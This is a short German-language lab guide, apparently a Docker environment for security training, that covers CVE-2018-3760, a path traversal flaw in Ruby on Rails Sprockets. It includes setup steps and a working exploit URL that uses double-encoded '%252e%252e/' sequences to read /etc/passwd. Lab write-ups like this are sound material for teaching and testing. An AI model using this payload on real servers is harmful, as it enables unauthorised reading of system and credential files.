
Docker-basiertes Labor, das CVE-2018-3760 Path Traversal in Ruby on Rails Sprockets demonstriert, mit POC und Umgebungseinrichtung für Sicherheitstests und -schulung.
Ruby On Rails ist ein bekanntes Ruby-Webentwicklungsframework, das Sprockets als statischen Dateiserver in der Entwicklungsumgebung verwendet. Sprockets ist eine Ruby-Bibliothek, die statische Ressourcendateien kompiliert und verteilt.
In Sprockets 3.7.1 und niedrigeren Versionen gibt es eine Path Traversal-Schwachstelle, die durch sekundäre Dekodierung verursacht wird. Ein Angreifer kann %252e%252e/ verwenden, um auf das Stammverzeichnis zuzugreifen und beliebige Dateien auf dem Zielserver zu lesen oder auszuführen.
Referenzlinks:
Führen Sie den folgenden Befehl aus:
docker-compose up -d
Besuchen Sie http://your-ip:3000 und Sie sehen die Willkommensseite.
Es wird einen Fehler geben, wenn Sie direkt http://your-ip:3000/assets/file:%2f%2f/etc/passwd besuchen, da die Datei /etc/passwd nicht im erlaubten Verzeichnis ist.

Wir können eine Liste der erlaubten Verzeichnisse von der Fehlerseite erhalten. Wählen Sie einfach eines davon aus, z.B. /usr/src/blog/app/assets/images, verwenden Sie dann %252e%252e/, um zum übergeordneten Verzeichnis zu springen, und lesen Sie schließlich die Datei /etc/passwd:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
